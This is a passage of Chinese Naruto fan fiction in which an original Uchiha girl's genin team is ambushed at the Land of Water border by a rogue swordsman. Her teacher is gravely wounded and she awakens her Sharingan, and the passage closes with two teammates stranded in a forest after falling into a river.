止水像是忽然想起什么,转头看向身后,轻声应道:“稍等一下哦,小咲,马上就好。”
他转过身,走到千歲和由里香面前,看着两人挨得极近的样子,眼底带着笑意调侃:“你们俩什么时候关系这么好了?”
由里香毫不留情地赶人:“赶紧跟你小队同伴回去交报告吧。”
千歲这才后知后觉地反应过来,抬头看向止水,语气里带着一丝惊讶:“止水,原来你都一个月不在村里了吗?”
她完全没察觉到空气中微妙的氛围——这个月,她每天都跟第三班的伙伴凑在一起做着除草、采药的杂活,日子被琐碎填满,根本没空想别的。
止水闻言,眼底飞快掠过一丝不易察觉的失落,转瞬即逝,又恢复了往日温和的模样。他笑着说:“好啦,这次去风之国给你带了伴手礼,晚点给你送过去。”
千歲的心思却早已飘远。
看着止水能自由奔赴远方、和自己有着生死之交的伙伴执行真正的任务,而自己却被困在木叶的街头,背着比人还高的药草筐,日复一日地做着杂活,一股不甘的情绪瞬间涌上心头。
她攥紧了背着药筐的肩带,小小的身子微微前倾,眼神
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里不再是往日的叽叽喳喳,而是藏着对力量的渴望,对想要变强的向往。
她想变强。
想站在和止水并肩的高度,想和止水一起奔赴真正的战场,而不是永远困在这些无聊的琐事里。
“果然,好羡慕止水和漩涡咲姐姐啊…”千歲低语。
由里香:这是什么展开,她突然开窍了?
止水看到千歲闷闷不乐的样子,以为又闹小脾气,下意识地伸出手,想像从前那样摸摸她的头发。
可就在这时,千歲的声音响起,清晰又坚定。
“就算现在还是下忍,我也……一定能到达你们那样的高度。”
她抬起头,浅琥珀色的眼眸里亮着灼灼的光,像藏着整片星空,满是不服输的韧劲。
“我也好想和同伴一起,并肩作战,去执行真正的任务!”
“下次去风之国的任务,一定是我、由里香,浅野还有玄间老师!”
由里香愣了一下,随即松了一口气。她还以为千歲是突然察觉到什么,闹起了别扭,没想到这小鬼的志向居然这么远大。
也是,那个天天嚷嚷着“我要变强”的千歲,怎么可能因为这点情感琐事就气馁?
止水也微微一怔。
他低头看着眼前的少女——小小的身子被沉甸甸的药草筐压得微微前倾,看上去狼狈又弱小,可那双眼睛却亮得惊人,满是坚定与渴望。
果然。
还是这样的千歲,最能吸引他。
不是因为她的天真,不是因为她的吵闹,而是这份身处琐碎,却从未放弃向上的倔强。
此时,街角一阵急促的脚步声传来。
药草店的阿婆一手叉腰,一手拎着账本,迈着大步怒气冲冲地走了过来。她扫了一眼三人背上比人还高、沾满泥土的药草框,又看了看此刻站得笔直、却迟迟没动静的三人,脸色瞬间阴沉如水。
“我不是再三叮嘱吗?这批药草三点钟前必须送到店里!”阿婆的声音像炸雷般响起,“现在都三点半了!整整晚了半小时!耽误我出货,损失谁来赔?你们是想让我去火影大人那儿投诉你们吗!”
阿婆越说越气,拐杖重重敲了敲地面,周围的空气瞬间冻结。
千歲当场吓得魂飞魄散。
刚才还信誓旦旦喊着“要去风之国执行任务”、“要变强超越大家”的热血少女,这一刻被吓得脸色惨白。她刚刚还在畅想未来,转头就要因为送药迟到被全村投诉,这巨大的落差让她心慌意乱。
“对、对不起!阿婆对不起!我们马上送!马上就送!”
千歲慌乱之下,赶紧赔着笑脸,双手合十,极其标准地鞠了一个深到不能再深的90度大躬。
谁知道……这一弯腰,灾难瞬间发生。
背后那筐沉甸甸的药草,像是被按下了释放键,“哗啦”一声整筐倾泻而出!
药草顺着她的后背,沿着她的脖颈,像瀑布一样滑进了她的衣领里。紧接着,散落的叶片、干枯的根茎铺满了一地,金发上也落满了乱七八糟的草药,活像个刚从药堆里滚出来的小乞丐。
“我的药草——!!!!”
千歲蹲在地上,看着散落一地的药材,又摸了摸满头满脸的草屑,整个人瞬间崩溃,发出了响彻整条街的哀嚎。
由里香默默地后退一小步,双手抱胸,一脸生无可恋地在心里吐槽:
她说的话,我一个字都不敢信。
止水站在一旁,先是愣了一瞬,随即忍不住发出了一声极轻、却极具感染力的笑声。
他看着蹲在地上、满头乱草、双手乱扒衣服,却依然一脸惨兮兮的千歲,眼底的笑意瞬间化开。
随即,止水便笑着俯下身,
“我帮你吧。”
几个人手忙脚乱的蹲在地上捡药草。
是啊。
不管她摆出多么坚定的小大人模样,本质上,还是这样一个冒冒失失、手忙脚乱,却又可爱到让人无法生气的小姑娘啊。
止水心里默默的想着:果然,这样的千歲,也超级可爱呢。
34.第三十四章 雾隐锁国·边境困境
木叶51年。
时日早已入秋,凉风卷起木叶村道旁的金黄落叶,在进行了为期快两个月的枯燥杂役任务后,第三班终于接到了一个稍微像样的正式任务。
“前往水之国,执行情报卷轴接应工作,等级C级。任务要求不低,需要完整穿越国境,深入雾隐村内。”
猿飞日斩看了看手中的文件,又说道:
“虽然是要你们深入雾隐,可终究是接应工作,一路上只需要护送,几乎没有忍者对战。”
千歲在听到任务内容的那一刻,眼睛一亮,连日来的疲惫与抱怨一扫而空。
比起之前除草、采药、寻猫的琐碎杂活,这已经是真正意义上的忍者任务。
这是她第一次出村。
一旁的由里香虽依旧保持着冷静,嘴角却微微上扬,难掩期待;沉默的浅野光眼神也比平日多了几分光彩。
“太好啦火影爷爷,我们一定成功把卷轴带回来!”
不知火玄间咬着千本,神色难得正经,沉声叮嘱:“明天早上八点,村口集合,不准迟到。”
宇智波枭府邸
夜晚,宇智波枭靠在门边,看着自家女儿手忙脚乱的样子,无奈地扶了扶额:“当日往返,根本不需要带这么多东西。”
千歲翻出双肩背包,一股脑地往里塞东西。
爱吃的零食、换洗的衣服、平日里舍不得用的刃具、甚至连练习用的空白卷轴全都一股脑塞了进去。
千歲头也不抬,继续往包里塞零食,理直气壮地反驳:“老爸你懂什么呀?你又没出过任务!”
说着,她一脸自豪:“我现在可是独当一面的忍者了,比老爸强多了!”
宇智波枭有点无语,只是连连点头应和:“是是是,强。”
看着女儿眼底藏不住的兴奋,他终究不忍心泼冷水,只在心底轻轻叹了口气,默默祈愿。希望她人生中第一次出村任务不要出什么幺蛾子。
千歲背着装的满满的小背包,又学着一副小大人的语气:
“唉~老爸别闹小脾气了,我去水之国会给你带伴手礼回来的。”
宇智波枭:没大没小的…不知道这副德行照了谁。
随即又吩咐道:“别逞强,听从老师指挥,不要擅自作主…知道了吗?”
千歲撇了撇嘴:“知道啦—”
翌日、村口
清晨八点,木叶村口的樱花树下,不知火玄间准时抵达。
抬眼一看,他嘴里的千本差点没叼住,嘴角不自觉地抽了抽。
眼前的三个小鬼,个个背着鼓得快要炸开的大背包,背包带勒得肩膀微微下沉,看上去不像去执行任务,倒像是要去远方露营。
千歲的背包最夸张,边角还露出半块零食包装袋,鼓鼓囊囊几乎要遮住她半个身子;由里香收拾得相对整齐,却也塞了不少医疗用品和换洗衣物;就连一向极简的浅野光,背包也比平时大上一圈。
玄间无奈地叹了口气:“都说了是当天往返,带这么多东西干什么?负重跑还没练够吗?”
可三个孩子完全没被影响,他们是真的盼了太久,从日复一日的杂务里挣脱,第一次真正踏向村外,去完成属于忍者的任务。
玄间看着他们期待的模样,终究没再多说,只是轻轻吐出一个字:
“走吧。”
一声令下,四道身影同时发力,查克拉一踏地面,消失在村口的林荫道间。
一路疾驰,木叶的围墙渐渐远去,熟悉的房屋与街道被茂密的森林取代。千歲跟在队伍后方,好奇地打量着从未见过的景色。
参天巨树直插云霄,阳光透过叶缝洒下,在地面投下斑驳跳动的光斑;远处传来隆隆水声,转过一片密林,一道壮阔无比的巨大瀑布轰然映入眼帘,水流从高空奔腾而下,溅起漫天水雾,彩虹在水汽中若隐若现。
“…好壮观啊。”
千歲忍不住低呼出声,脚步都慢了半拍。
这是她第一次离开木叶,第一次亲眼看见书本以外的世界。没有围墙的限制,只有无边无际的自然与风。
她忽然明白,止水口中的远方,究竟有多让人向往。
浅野光望着瀑布奔流的方向,水遁忍者的血脉让他对这片水之气息格外亲切。
一路奔波,风在耳边呼啸,景色不断向后退去。
不知过了多久,空气中的湿气越来越重,天色也渐渐染上一层淡淡的灰蓝。四周开始弥漫起浓稠不散的白雾,海风带着咸腥的凉意扑面而来,草木的气息变得阴冷而压抑。
不知火玄间的步伐缓缓停下,神色微微一沉。
“到了。”
他轻声开口。
这里,就是水之国边境。
踏入水之国国境的那一刻,周遭的气息彻底变了。
千歲停下脚步,仰头望着四周终年不散的浓白雾霭:“这里就是水之国吗……”可她很快皱起眉,“可是怎么连一个人都没有?”
本该有旅人、渔民、巡逻忍者的边境林地,此刻死寂一片,只剩下风吹过浓雾的轻响,空旷得令人发毛。
由里香下意识裹紧了身上的衣物,脸色微微发白:“不知道为什么……我总觉得这里冷得让人瑟瑟发抖,不是天气的那种冷。”
不知火玄间的神情早已彻底凝重。
他不是第一次来水之国执行任务,可眼前的景象,却让他心底一寸寸升起强烈的不安。整片森林安静得诡异,没有鸟鸣,没有兽吼,连树叶晃动的声音都轻得近乎消失。空气中不仅弥漫着水雾与海水的咸腥,还混杂着一丝极淡、却异常刺鼻的血腥味,藏在湿气里,若有似无,却刺得人神经发紧。
不对劲。
太不对劲了。
就连对水属性环境格外适应的浅野光,此刻也微微蹙起眉,紧绷着下颌,显然也无法忍受这股压抑得令人窒息的浓雾。
四人越往深处走,周遭就越安静,那股无形的压迫感像冰冷的水,一点点漫上胸口,压得人喘不过气。
千歲最先忍不住,声音带着一丝怯意:“玄间老师,水之国看起来好阴森啊。”
玄间眼神沉冷。他上次来这儿时,边境虽也多雾,却绝无这般凄凉死寂,更没有这种藏在平静下的杀气。
“小心点。”他压低声音,语气前所未有地严肃,“情况不对劲,全部提高警惕。”
三个孩子瞬间绷紧了神经。
千歲还没完全明白玄间老师到底在警惕什么,可一股莫名的恐惧已经悄悄爬上后背。
由里香二话不说,双勾玉写轮眼睁开,瞳孔冷静地扫视着浓雾的每一个角落,不放过任何一丝查克拉的波动。
就在这时
咻——!
一道尖锐的破空声骤然撕裂寂静!
一枚漆黑的苦无如同夺命的黑影,带着凌厉的劲风,直逼千歲的脖颈!
千歲身体吓得瞬间僵住,连呼吸都忘了。
只差一寸。
只差一点点,那枚苦无就会刺穿她的喉咙。
冰冷的劲风擦着她的脖颈飞过,带起一阵刺痛,“笃”地一声深深钉进身后的树干里,尾端仍在剧烈震颤。
死亡,第一次离她这么近。
浓雾之中,缓缓走出两道漆黑的身影。
雾隐暗部制服,面罩遮脸,只露出一双双冰冷无情的眼睛,周身散发着毫不掩饰的杀气。刚才那致命的苦无,正是出自他们之手。
千歲浑身僵硬地站在原地,大脑一片空白。
由里香立刻上前半步,挡在她身侧,声音尽量沉稳地安慰:“别害怕,他们如果真的想杀你,刚才那一击绝对不会射偏。”
不知火玄间微微点头,认同由里香的判断,随即上前一步,
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挡在三个孩子身前,对着雾隐暗部沉声表明身份:“我们是木叶忍者,奉火影大人之命,前来接应并取回情报卷轴,还请允许我们通行。”
可对面的两名雾隐暗部语气冷硬如铁,没有半分商量的余地:
“我们受水影大人之命,所有人不得入境。”
“再往前迈进一步——一律视为入侵者,就地格杀。”
话音落下,浓雾翻涌,杀意再次暴涨。
“什么水影大人,我们还是奉火影大人之命来来的呢!”
千歲被近在咫尺的杀意攥住了心脏,却仍鼓起全部勇气,对着那两名雾隐暗部高声呐喊。她死死攥着背上的背包带,目光灼灼地盯着对方,试图用木叶的名义换取一条通路。
“千歲,冷静!少起争执!”
玄间眼疾手快,一把拽住千歲的后领将她拉回身后,语气急促而严厉。他太清楚这种情况下,任何冲动都会直接引爆冲突。
可对面的雾隐暗部根本不吃这一套,面罩下的声音冷得刺骨:“火影大人的指令?在水之国,只有四代水影大人的话才是律法。”
玄间深吸一口气,强迫自己镇定,目光锐利地扫过两人,试图从只言片语中拼凑真相:“一个月前,雾隐与木叶的信使尚在通信,当时水影大人还提及欲增进两国交流,为何短短数日,竟会突然锁国封境,如此对待外村忍者?”
其中一名暗部眼神微动,随即又恢复冰冷,语气带着一丝诡异的从容:“水影大人有大人的考量。如今雾隐需肃清内外,重建秩序,任何外村干扰,皆是隐患。木叶忍者的到来,只会破坏这来之不易的稳定。”
“重建秩序?”玄间心头一震,一个可怕的念头瞬间浮上水面。
一旁的由里香此刻也死死注视着暗部的表情,声音发沉地分析:“一个月前还示好,现在就锁国……这中间一定发生了什么。玄间老师,这真的是水影大人的意思吗?”
浅野光的水遁查克拉在掌心不安分地涌动,语气平静却带着忧虑:“这里的空气……没有生机,全是杀气。这不像是一个正常村子该有的样子。”
玄间沉默了,他比谁都清楚,此刻任何贸然的行动都可能招致灭顶之灾。可他们不能退,卷轴没拿到,任务就彻底失败。
就在僵持之际,浓雾深处忽然传来一阵拖沓的脚步声,伴随着金属摩擦地面的刺耳声响。
一道高大魁梧的身影缓缓从白雾中走出。
他手持一把造型诡异、刀身布满锯齿的斩首大刀,身形壮硕得近乎畸形,脸上带着狰狞的伤疤,眼神如同饿狼般扫视着众人。
那两个原本盛气凌人的雾隐暗部,在看到此人的瞬间,竟齐齐身体一僵,下意识地后退了半步,满脸敬畏。
男人根本没看那两个暗部,目光径直落在玄间和第三班的身上。他掂了掂手中的大刀,刀身的寒光映得他脸色愈发惨白。
“废话真多。”
男人的声音粗哑而低沉,带着一股惯于杀生的暴戾。
话音未落,他甚至没给玄间任何反应的机会,大刀一挥,凌厉的刀风裹挟着浓雾,瞬间斩向那两名雾隐暗部!
“噗嗤——!!”
鲜血喷溅在冰冷的雾中,连惨叫都只发出半声,那两个刚才还耀武扬威的暗部,瞬间身首分离,倒在了血泊之中。
动作快得惊人,手段狠得决绝。
玄间瞳孔骤缩,瞬间将三个孩子死死护在身后,手已按在了苦无上。
而那个男人缓缓收回大刀,刀尖朝下,任由鲜血顺着刀刃滴落。他抬起头,那双充血的眼眸死死盯住了第三班,语气里满是不加掩饰的疯狂与杀意:
“反正现在也不和木叶交好。
随便杀几个木叶的忍者,应该也没关系吧。”
浓雾再次翻涌,死亡的阴影,终于毫无保留地降临在第三班头顶。
35.第35章 真正的绝境 才刚刚开始
玄间看清楚眼前人的模样,那双凶狠的眼神,以及这大刀,瞬间让他想到了那个人物。
雾隐的s级通缉逃犯。
不知火玄间屏住了呼吸,不敢相信眼前之人。
“你是…长谷川…”
长谷川冷笑一声,“你还真见多识广,居然知道我的名字。”
玄间知道,面对这样一位高手,别说自己一人都无胜算了,还有三个小鬼需要他照顾。
看来,最上策就是弃任务保性命。
长谷川像是看透了玄间的心思:
“来了…别想走。”
随即脚下猛地一踏地面,查克拉轰然炸开,浓雾被狂暴的气流撕碎。斩首大刀在他手中轻若无物,刀身划破空气的锐响,如同死神的低语,直逼最前方的不知火玄间。
“去死吧!”
玄间瞳孔骤缩,身形瞬间化作一道残影向后急退。千本自指尖飞速射出,三枚尖针呈交叉之势直刺长谷川手腕关节——他从不用蛮力取胜,每一击都精准瞄准敌人破绽。
“雕虫小技!”
长谷川狞笑一声,大刀横挥,“铛”的巨响将千本尽数弹飞。水花自他脚下骤然炸开
“水遁·水弹波”
密集的水弹如同子弹般席卷而来,逼得玄间再次后撤。
“你们三个,散开!牵制,不要恋战!”
玄间的吼声刚落,由里香已纵身跃至侧面,双勾玉写轮眼高速转动,牢牢锁定长谷川的动作。
“火遁·豪火球之术!”烈焰自她口中喷涌而出,与迎面而来的水遁撞在一起,白雾蒸腾,遮蔽了整片战场。
浅野光立刻跟上,双手快速结印:“水遁·水乱波!”水流顺着地面蜿蜒而出,试图缠住长谷川的双腿,限制他那恐怖的刀法速度。
可长谷川的实力远超他们的预料。
“还敢在我面前用水遁?”
他猛地踏碎水流,大刀自上而下劈出一道半月弧光
“水遁·水斩波”
混合着查克拉的水刃横扫而出,威力之大竟直接撕裂了火焰。
“危险!”
浅野光反应不及,水刃擦着他的腰侧划过,鲜血瞬间染红衣摆,他闷哼一声跪倒在地,剧痛让他指尖都在颤抖。
“浅野!”
由里香惊呼一声,分神的刹那,长谷川已欺近身前,大刀带着死亡的风压直劈而下。写轮眼勉强捕捉到轨迹,她狼狈地向旁翻滚,肩膀还是被刀风扫中,皮肉翻裂,鲜血直流。
战局瞬间倾斜。
玄间拼尽全力冲上前,千本如雨般射出,逼退长谷川一瞬。他回头怒吼:“带伤撤退!先脱离战场!”
可所有人都注意到——
千歲站在原地,一动不动。
她浑身僵硬得像块石头,双眼死死盯着地上的鲜血、飞溅的水花、同伴痛苦的神情。
死亡又一次如此真切地摆在她面前,那股恐惧像死死缠住她的四肢,让她连一根手指都动不了。
这种感觉,又来了。
是之前暗部藤原大叔死在自己面前时候的感觉…
每次都是这样…
看着由里香捂着流血的肩膀,看着浅野光跪倒在地,看着玄间老师独自面对那柄恐怖的大刀,千歲的心脏被什么东西握紧似的,连呼吸都变得急促。
她一直躲在别人身后,不敢直面死亡。
她总说要变强,要并肩作战,可真正到了生死关头,她却只会害怕得动弹不得。
想起自己说过的话——
下次去村外执行任务的,一定是我、由里香、浅野,还有玄间老师。
可现在已经吓到全身无法动弹,这样胆小的自己,如何能和止水比肩,如何能与止水并肩作战…
“千歲!快躲开啊!”由里香挣扎着吼出。
就在此刻,长谷川的身影已闪至千歲身后,斩首大刀高高举起,刀锋映着浓雾,带着劈裂空气的狠厉,直直朝着她的头顶斩落。
千歲浑身血液仿佛瞬间冻结,瞳孔剧烈收缩,只能眼睁睁看着那夺命大刀不断逼近——死亡,近得能嗅到铁锈般的气息。
下一秒,一道残影猛地撞入视线。
不知火玄间目眦欲裂,不顾一切地扑了上来。
他速度再快,也快不过落下的刀锋。
为了护住身后毫无反抗之力的少女,他硬生生转过身,用双臂把少女紧紧护在怀里,用自己的后背,硬生生扛下了这足以劈开岩石的一击。
“噗——!!”
刀锋深深嵌入血肉的闷响刺耳至极,滚烫的鲜血骤然喷溅。
玄间闷哼一声,身体狠狠一颤,嘴角不断溢出鲜血,却依旧像一座山般挡在千歲面前,声音虚弱却执拗,带着平日一贯的慵懒,却藏着拼尽一切的坚定:
“真是……麻烦死了……快走啊……”
“玄间……老师?”
温热黏腻的液体溅满她半张脸颊,顺着下颌滑落——是血,是玄间老师的血。
那个永远叼着千本、做什么都懒洋洋抱怨麻烦的男人,那个总说她吵闹、说任务麻烦的指导上忍,在生死瞬间,却毫不犹豫地挡在了她身前。
“为什么……”千歲失神地喃喃。
玄间撑着最后一丝力气,视线渐渐模糊,却仍死死盯着她,一字一顿,用尽全部气息落下最后一句话:
“因为……你是……”
“我的学生。”
话音落下,他再也支撑不住,身体无力地向旁倒去。
千歲站在原地,脸上沾满鲜血,瞳孔微睁,神情静得可怕。
那片死寂之下,是濒临崩断的理智,是压抑到极致的愤怒与绝望。
“你居然……”
她低声开口,带着令人心悸的寒意。
长谷川甩了甩大刀上的血,狞笑一声,杀气毫不掩饰:
“哦?既然取走一条命,我不介意再多送你一程。”
“你居然敢……伤害玄间老师……”
少女的声音骤然拔高,尾音撕裂般炸开。
下一刻,她猛地抬眸。
原本浅琥珀色的瞳孔,已被一片猩红彻底占据——
一勾玉写轮眼,在绝望与愤怒中,轰然觉醒。
“绝不原谅!!!”
此刻的千歲,早已彻底挣脱了恐惧的枷锁,只剩下焚尽一切的暴怒。
她不顾一切地骤然冲出。没有华丽的忍术,没有流畅的结印,所有的查克拉在这一刻疯狂涌向右臂——那是她与生俱来、深藏在血脉之中的爆发式怪力。
一拳轰出,空气发出沉闷的炸裂声。
长谷川完全没料到这个小鬼会突然疯扑上来,猝不及防之下,被结结实实砸中手臂,整个人踉跄着后退两步,持刀的手腕一阵剧痛发麻,几乎握不住斩首大刀。
“小鬼?!”
他眼中杀意瞬间暴涨,狰狞得扭曲,“敢还手?找死!”
大刀轰然横扫,刀锋撕裂浓雾,直劈千歲面门!
千歲瞳孔里的一勾玉飞速转动,借着写轮眼的洞察,勉强看清刀路,猛地侧身一跃,刀锋擦着她的耳畔劈过,带起一阵刺骨寒风。
可这仅仅是开始。
长谷川被彻底激怒,刀速越来越快,一刀接着一刀,密不透风的刀影将四周完全笼罩。
即便有写轮眼提前预判,千歲依旧难以抵挡——对方身形高大、臂展惊人,再加上大刀的超长距离,每一击都覆盖了她所有退路。
肾上腺素疯狂飙升,恐惧早已被愤怒碾碎。
刀锋数次擦着她的身体劈过,衣料碎裂,皮肤被划开一道道血口,鲜血不断渗出,可她完全感觉不到疼痛。
她的脑子里只剩下一个念头:
给玄间老师报仇。
一次不行,就两次。
十次不行,就一百次。
千歲咬紧牙关,再次将全部查克拉狠狠凝聚在右拳,她要再冲上去,打出第二记怪力。
但此刻,她所有的劣势都暴露无遗。
身形娇小,手脚短小,攻
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击距离极短;
而对方手持大刀,占尽射程优势,简直是天生克制体术忍者。
她还没靠近,就会被刀锋斩成两段。
只要……只要能打中一拳……
只要一拳,或许就能赢……
长谷川轻易看穿了她所有的企图,嘴角勾起残忍的嘲笑,声音冷得刺骨:
“小鬼,你的怪力再厉害——打不中我,不就跟废物一样吗?!”
话音落下,他脚步一踏,身形再次突进,斩首大刀带着必杀之势,直取千歲咽喉。
这一次,她已经退无可退。
就在这千钧一发——
“火遁·豪火球之术!”
烈焰轰然炸开,由里香拖着受伤的肩膀,拼尽全力喷出火遁,硬生生撞向刀身。水火相撞,白雾冲天,干扰了长谷川的视线。
“小鬼,敢分心!”
长谷川怒喝一声,刀身一转,横扫向由里香。她肩膀本就中伤,动作迟缓,根本来不及完全躲开——
“由里香!”
愤怒与绝望点燃了所有潜能。
“不准伤害我的同伴!”
她不退反进,不顾刀伤,借着这短短一瞬的距离,全身查克拉疯狂涌向拳头。
怪力,全开。
“给我——停下!!”
她一拳砸在斩首大刀的刀面上!
“铛——!!”
金属爆裂般的巨响震彻整片森林,长谷川只觉得手臂一麻,一股远超他想象的怪力从刀身传来,握刀的手掌被震得剧痛,虎口直接崩裂!
“什么?!”
他脸色剧变,这小鬼的力量竟然恐怖到这种地步。
可千歲没有停下。
一拳震退他的瞬间,她再次凝聚查克拉——
“我不会再让你伤害任何人——!”
千歲笔直冲向长谷川。
长谷川冷笑,挥刀横斩,打算直接把她腰斩。
就在刀锋逼近的刹那——
千歲凭着写轮眼,猛地矮身,从刀下瞬间钻过!
近身了。
长谷川瞳孔一缩,来不及反应。
千歲抬起染血的拳头,所有的悲伤、愤怒、恐惧、决心,全部凝聚在这一击里。
“去死——!”
一拳,狠狠砸在长谷川的胸口!
“砰——!!”
骨骼碎裂的声音清晰可闻。
长谷川整个人像被巨石砸中,倒飞出去,重重撞在树干上,一口鲜血狂喷而出,斩首大刀也脱手飞出。
他难以置信地低头,看着自己凹陷下去的胸口,视线迅速模糊。
千歲喘着粗气,浑身是伤,摇摇欲坠,却依旧死死站着,写轮眼一刻不离地盯着对方。
可她忘了——
这里是水之国边境,是悬崖边缘。
身后的泥土早已被鲜血浸透,变得松软不堪。
她脚步一滑,身体猛地向后倒去——
“千歲!”
由里香惊呼,不顾一切冲过去抓住她的手腕。
可冲击力太大,伤口剧痛的她根本撑不住两人的重量,两人一起向着悬崖边缘滑去。
浅野光刚想冲上来救援,长谷川却挣扎着抓起地上的大刀,狠狠甩出一道水刃!
“休想走……你们都得死在这里……”
水刃直逼浅野光,他只能狼狈翻滚躲开,等再抬头时——
悬崖边已经空无一人。
千歲与由里香,一同坠入了下方咆哮的湍急水流之中,瞬间被奔腾的河水吞没,消失不见。
“可恶——!!”
浅野光目眦欲裂,可身后重伤倒地的不知火玄间气息微弱,前方还有苟延残喘的长谷川。
浓雾翻涌,水流轰鸣。
一行四人,彻底被割裂成两半。
玄间与浅野光,困于悬崖之上,强敌环伺;
千歲与由里香,坠入激流,生死未卜。
真正的绝境,才刚刚开始。
36.第36章 我不会再流泪
不知在冰冷的水流里漂浮了多久,千歲终于在一片黑暗中缓缓睁开了眼。
天色早已彻底沉黑,只有微弱的月光穿透密林,零星洒在地面。她浑身湿透,狼狈地瘫在浅浅的溪滩搁浅处,冰冷的水汽钻进骨头缝里,酸麻胀痛一瞬间席卷全身。
意识恢复的刹那,她猛地一僵,坠崖前的画面疯狂涌入脑海——悬崖、湍流、玄间老师倒下的身影、还有……她死死抓住的、由里香的手。
“由里香——!”
千歲失声低呼,挣扎着想要爬起来,可四肢却沉重得不听使唤,右手更是完全失去知觉,麻木得仿佛不是自己的。是刚才过度爆发怪力、查克拉透支过度的后遗症,每动一下都牵扯着肌肉剧痛。
可她顾不上这些。
她撑着发软的双腿,跌跌撞撞地在湿冷的林地里狂奔,目光疯了一般四处扫视,嘶哑地喊着那个名字。
不能丢……绝对不能把由里香丢在这里!
就在这时,她的脚步骤然顿住。
不远处的草丛边,静静躺着一道熟悉的身影。
是由里香。
她一动不动地躺在地上,脸色惨白得像纸,嘴唇毫无血色,湿透的发丝黏在脸颊,气息微弱得几乎感觉不到。
“由里香……?”
千歲踉跄着扑过去,跪在她身边,颤抖的指尖轻轻碰了碰对方的脸颊,冰凉一片。
“由里香,你醒醒……别吓我了……”
“你醒醒啊!!”
恐惧和绝望瞬间冲上喉咙,千歲再也忍不住,眼泪毫无预兆地砸落下来,一滴滴落在由里香冰冷的手背上。她一遍又一遍虚弱地呼唤,可地上的人始终没有半点回应。
就在她几乎崩溃的刹那,一道微弱又不耐烦的声音,有气无力地飘了过来:
“吵死了……一醒就听见你鬼叫,不知道的,还真以为我已经死了。”
千歲猛地僵住,随即整个人都颤抖起来。
是活的……由里香还活着!
劫后余生的狂喜瞬间冲垮了所有理智,她哽咽着,眼泪流得更凶,却又止不住地笑出声:“你、你刚才一动都不动……我真的、真的以为你死了……”
她小心翼翼、用尽全身力气,才把浑身发软的由里香扶坐起来。
由里香微微喘着气,虚弱地环顾了一圈漆黑陌生的森林,声音哑得厉害:“现在……是什么时间了?”
千歲吸了吸鼻子,抬头望了眼浓黑的夜色,声音还带着哭后的颤抖:“应、应该是半夜了……”
由里香沉默着扫视四周,没有道路、没有标记,连水流声都被密林隔绝,她们完全不知道自己被冲到了水之国境内的哪一处荒林。
就在这时,一阵尖锐的刺痛猛地从肩膀炸开,她忍不住闷哼一声。
低头看去,她之前被刀砍中的伤口,早已被长时间的冷水泡得发白肿烂,边缘微微泛红,一看便知已经开始发炎恶化。
再不快点处理伤口……
恐怕真的会因为感染,死在这片无人知晓的荒林里。
由里香在心底轻轻苦笑,自己明明精通医疗忍术,可此刻肩膀重伤、连抬手都困难,竟连给自己疗伤都做不到。
她深吸一口气,压下伤口传来的阵阵剧痛,转向身旁的千歲,声音轻而稳:
“千歲,你会医疗忍术吗?”
千歲嘴唇动了动,最终只是沉默地低下头。
“……好吧,看样子是不会。”由里香没有丝毫意外,只是平静地继续开口,“那你帮我处理一下肩膀的伤口,再不消毒,我可能真的要交代在这片林子里了。”
千歲猛地抬起头,脸色瞬间发白,吓得手足无措,随即又黯然垂眸:
“要是这个时候我会医疗忍术就好了。”
“干嘛摆出那种表情?”由里香轻轻瞥了她一眼,努力让语气显得轻松,“你按我说的做,只是简单的消毒处理,一点都不难。”
千歲依旧犹豫,眼神里全是不自信。
“好啦,快点。”由里香轻轻笑了一下,语气带着不容拒绝的坚定,“我都没有不信任你,你自己别先不信任自己了。”
说完,她慢慢将湿透的外套褪下半边,露出了受伤的肩膀——伤口被冷水泡得发白肿烂,看得千歲心脏一阵抽痛。
在由里香一点点的轻声指导下,千歲颤抖着将手掌凝聚起微弱的查克拉,小心翼翼地贴在那片狰狞的伤口上,一点点做着最基础的消毒与止血。
四周只剩下风吹树叶的沙沙声,两人陷入了沉默,只有伤口处传来的细微痛感,提醒着她们此刻的绝境。
“……对不起。”
千歲忽然轻声开口,打破了这片安静,声音小得几乎要被夜色吞没。
“刚才……我愣在原地,一动不动。”
“又给大家拖后腿了……”
由里香闻言,轻轻挑了下眉,故意装作不满地开口:
“喂喂,别分神啊,好好给我治疗。你要是一不小心使出那怪力,我可是真的得死在这里了。”
她想用玩笑化解这份沉重,可眼角余光瞥见千歲低垂的头发,那副快要把自己缩进阴影里的自责模样,心还是猛地一紧。
这是她第一次看见千歲这样——明亮、永远充满干劲的少女,此刻却像被暴雨打弯,脆弱得让人心疼。
“因为我,玄间老师才会受那么重的伤。”千歲每一个字都像是从喉咙里挤出来的,“现在,不知道他和浅野怎么样了……”
由里香看不清她低垂的脸庞,却清晰地感觉到,一滴滴温热的液体,轻轻落在了自己未受伤的肩膀上。
身后的少女,在无声地流泪。
由里香静静感受着肩头那滴滚烫的泪水,没有急着安慰,也没有多说什么,只是任由沉默在漆黑的林间缓缓流淌。
风声穿过树叶,溪水在不远处轻轻流淌。许久之后,她才忽然开口:
“其实……我原来不叫由里香这个名字。”
千歲抬起头,泪眼朦胧地看着她。
“我叫百合香。是父亲给我取的。”由里香轻轻笑了笑,目光望向远处的黑暗,像是想起了很久很久以前的事,“他很喜欢百合花,我一出生,他就定下了这个名字。很像女孩子的名字,对吧?”
“嗯……”千歲哽咽着应了一声。
“可我小时候,偏偏最会哭。”由里香的声音平静得没有波澜,仿佛在说别人的故事,“摔倒了哭,训练疼了哭,肚子饿了也哭……不管大事小事,我都能用哭来解决。周围的人都说,百合香就像百合花一样,漂亮,却脆弱得一碰就碎。”
她顿了顿,指尖微微蜷缩。
“但我父亲……最讨厌我哭。”
“每次我一流泪,他只会更严厉地训斥我,说忍者不可以软弱,说眼泪换不来任
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何东西。我那时候小,不懂他的用意,只觉得委屈、愤怒。一气之下,我就把名字改了——百合香改成由里香,读音相近,意思却彻底变了。
我就是要跟他对着干,就是要告诉他,我才不要做那个软弱的、只会哭的百合香。”
千歲屏住呼吸,静静地听着,连流泪都忘了。
“后来有一次,我吵着闹着要跟他上战场,他不肯,我就偷偷跟在后面。结果遇上了敌国忍者的伏击,被发现的那一刻……”由里香的声音终于轻轻一颤,“父亲想都没想,冲过来替我挡下了致命的一击。”
她闭上眼,那段记忆依旧锋利如刀。
“他临死前,从来不许我哭的父亲,贴着我的耳朵,用气声说——
百合香,哭吧。有委屈就哭出来。一直以来,我都不让你哭,可你有哭的权利,你有发泄的资格……不用一直逞强。”
说完这句话,由里香轻轻睁开眼,写轮眼在黑暗里显得格外安静。
